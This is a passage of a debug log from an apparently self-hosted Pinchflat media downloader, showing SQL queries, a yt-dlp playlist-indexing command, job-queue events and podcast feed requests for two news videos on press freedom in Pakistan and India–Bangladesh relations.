"https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 23:11:18.603 [debug] QUERY OK source="sources" db=15.7ms queue=0.1ms idle=1332.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 23:11:18.605 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=1349.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:11:18.676 [debug] QUERY OK source="media_items" db=45.7ms idle=1351.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 23:11:18.895 [debug] QUERY OK source="media_items" db=185.8ms queue=0.1ms idle=1454.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "022ca95c-9c67-4e9b-a77a-7a794b75b6ca", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 23:11:18Z], ~U[2026-01-10 23:11:18Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 23:11:18.897 [debug] QUERY OK source="sources" db=0.8ms idle=750.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:11:18.939 [debug] QUERY OK source="media_profiles" db=42.1ms queue=0.1ms idle=294.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:11:19.058 [debug] QUERY OK source="media_items" db=115.7ms queue=0.1ms idle=336.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 23:11:19.058 [debug] Current batch of media processed. Will check again in 1000ms 23:11:20.059 [debug] Current batch of media processed. Will check again in 1000ms 23:11:21.062 [debug] Current batch of media processed. Will check again in 1000ms 23:11:22.064 [debug] Current batch of media processed. Will check again in 1000ms 23:11:22.664 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e9/a3/e9a308675d5e85cb0bef2a6bf23b86721b99aa2147f7614518bc196ad3e5a8a9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:11:22.700 [debug] Gracefully stopping file follower 23:11:22.703 [debug] QUERY OK source="sources" db=2.8ms queue=0.1ms idle=522.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 23:11:22.705 [debug] QUERY OK source="sources" db=1.1ms idle=449.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:11:22.707 [debug] QUERY OK source="media_items" db=1.6ms idle=451.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 23:11:22.768 [debug] QUERY OK source="media_items" db=59.3ms queue=0.1ms idle=453.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "cc64859b-2c8a-496c-8978-ba5b68ea8ec6", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 23:11:22Z], ~U[2026-01-10 23:11:22Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 23:11:22.932 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=676.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:11:22.935 [debug] QUERY OK source="media_items" db=2.8ms idle=228.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 23:11:22.999 [debug] QUERY OK source="media_items" db=62.4ms idle=230.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "b823ca70-9bc7-4fc7-b8a6-c50bb05b8f70", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 23:11:22Z], ~U[2026-01-10 23:11:22Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 23:11:23.057 [debug] QUERY OK source="sources" db=1.6ms queue=0.2ms idle=348.3ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 23:11:23Z], ~U[2026-01-10 23:11:23Z], 1] 23:11:23.072 [debug] QUERY OK source="media_items" db=1.7ms queue=0.3ms idle=303.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:11:23.097 [debug] QUERY OK source="media_items" db=22.5ms queue=0.1ms idle=142.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:11:23.098 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=162.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:11:23.267 [debug] QUERY OK source="tasks" db=24.8ms idle=145.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [101, 1, ~U[2026-01-10 23:11:23Z], ~U[2026-01-10 23:11:23Z]] 23:11:23.275 [info] {"args":{"id":1},"id":100,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":18164750,"event":"job:stop","queue_time":646734,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 23:11:31.569 [info] {"source":"oban","duration":17709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.387 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:01.572 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:31.574 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.389 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:01.577 [info] {"source":"oban","duration":2107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:31.579 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.391 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:01.582 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:31.584 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.394 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:01.587 [info] {"source":"oban","duration":2197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:07.934 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:15:07.935 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:15:07.983 [debug] QUERY OK source="sources" db=47.1ms idle=654.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:15:07.985 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=702.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:15:07.988 [debug] QUERY OK source="source_metadata" db=2.3ms idle=704.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:15:08.017 [debug] QUERY OK source="media_metadata" db=28.5ms queue=0.1ms idle=707.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:15:08.033 [info] Sent 200 in 98ms 23:15:31.589 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.396 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:01.592 [info] {"source":"oban","duration":2700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:01.973 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:16:01.973 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:16:01.976 [debug] QUERY OK source="sources" db=2.0ms idle=621.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:16:01.979 [debug] QUERY OK source="media_items" db=2.4ms queue=0.2ms idle=624.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", 